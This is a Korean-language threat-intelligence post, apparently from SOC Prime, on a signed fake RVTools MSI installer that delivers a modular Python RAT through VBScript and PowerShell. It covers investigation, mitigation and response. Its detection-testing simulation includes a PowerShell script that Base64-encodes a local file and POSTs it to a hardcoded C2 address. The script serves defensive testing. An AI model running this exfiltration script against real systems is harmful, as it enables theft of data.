SOC Prime Bias: 중간

29 May 2026 07:20 UTC

RVTools 위장: 서명된 가짜 설치 프로그램이 모듈식 파이썬 RAT를 배포하는 방법

Author Photo
SOC Prime Team linkedin icon 팔로우
RVTools 위장: 서명된 가짜 설치 프로그램이 모듈식 파이썬 RAT를 배포하는 방법
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

정상적인 인증서로 서명된 악성 MSI 설치 프로그램이 VMware 관리자가 사용하는 RVTools 유틸리티로 가장합니다. 실행되면 설치 프로그램은 Dropbox에서 대용량 ZIP 아카이브를 다운로드하기 위해 PowerShell을 실행하는 VBScript를 내리게 됩니다. 해당 아카이브에는 정찰, 지속성, 하드코딩된 명령 및 제어 서버와의 통신이 가능한 다단계 RAT를 실행하는 포터블 파이썬 환경이 포함되어 있습니다.

조사

분석 결과, MSI는 사용자 정의 VBScript 동작으로 추적되었으며, Binary.MyScript.vbs, 이는 난독화된 PowerShell 명령을 디코딩했습니다. 해당 명령은 winp.zip 페이로드를 %APPDATA%에 다운로드하고, collector.py and Pmanager.py와 같은 Python 구성 요소 및 스크립트를 추출하며, 재부팅 후 레지스트리 Run 키와 예약 작업을 통해 지속성을 확보했습니다. 연구자들은 또한 RAT가 수집된 데이터를 RC4로 암호화하고 5분 간격으로 다섯 개의 고정된 IP 주소로 비콘을 전송했다는 것을 발견했습니다.

완화

조직은 라이브 OCSP 또는 CRL 체크로 엄격한 코드 서명 검증을 시행하고, 신뢰할 수 없는 MSI 실행을 차단하며, 설치 프로그램에 포함된 의심스러운 VBScript 사용자 정의 동작을 모니터링해야 합니다. 방어자는 다운로드된 스크립트의 자동 실행을 방지하고, 새로운 Run 키 항목 및 예약 작업 생성을 주시하며, 낯선 하드코딩된 IP 주소로 향하는 아웃바운드 트래픽에서 경고를 발생시켜야 합니다.

대응

이 활동이 감지되면 즉시 영향을 받은 엔드포인트를 격리하고, MSI, VBScript 및 추출된 페이로드 파일을 법의학 분석을 위해 수집한 다음, Run 키 및 예약 작업을 포함한 모든 지속성 아티팩트를 삭제합니다. 식별된 명령제어 IP 주소는 방화벽에서 차단되어야 하며, 인증 정보 및 Active Directory 활동에 대한 광범위한 검토를 수행하여 횡적 이동이 발생했는지 확인해야 합니다.

공격 흐름

시뮬레이션 실행

필수 요구 사항: 원격 측정 및 기준선 사전 점검이 통과되어야 합니다.

이유: 이 섹션은 탐지 규칙을 트리거하기 위해 설계된 적의 기술(TTP)에 대한 정확한 실행을 설명합니다. 명령과 내러티브는 식별된 TTP를 직접 반영해야 하며, 탐지 논리에 의해 예상되는 정확한 원격 측정을 생성하는 것을 목표로 합니다.

  • 공격 내러티브 및 명령:
    피해자의 시스템에 이미 발판을 마련한 적대자는 소형 데이터 세트(예: C:Tempsecret.txt)를 유출하기로 결정합니다. 일반적인 아웃바운드 트래픽 경고를 피하기 위해, 행위자는 PowerShell 한 줄 요약을 사용하여 하드코드된 C2 IP 중 하나에 직접 HTTP POST를 수행합니다 (192.0.2.10). 해당 명령은 Windows 예약 작업 을 통해 예약되어 지속성을 보장합니다(T1546.013). 추가로 설치되는 바이너리는 없으며, 활동은 ‘행동을 녹아들도록’ 합니다.

  • 회귀 테스트 스크립트:

    # -------------------------------------------------
    # PowerShell 스크립트 – 하드코드된 IP를 통한 데이터 유출
    # -------------------------------------------------
    $c2Ip   = "192.0.2.10"
    $c2Port = 80
    $uri    = "http://$c2Ip/exfil"
    $file   = "C:Tempsecret.txt"
    
    # 파일이 존재하는지 확인(테스트를 위한 더미 데이터 생성)
    if (-Not (Test-Path $file)) {
        "민감 데이터 $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII
    }
    
    # 파일 내용을 읽고 Base64로 인코딩
    $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file))
    
    # HTTP POST 수행
    $body = @{ data = $payload }
    try {
        Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10
        Write-Host "유출 시도 $c2Ip로 전송됨"
    } catch {
        Write-Error "유출 실패: $_"
    }
  • 정리 명령:

    # 더미 파일 삭제
    Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue
    
    # 테스트를 위해 생성된 예약 작업 삭제(있는 경우)
    $taskName = "DataExfilTask"
    if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) {
        Unregister-ScheduledTask -TaskName $taskName -Confirm:$false
    }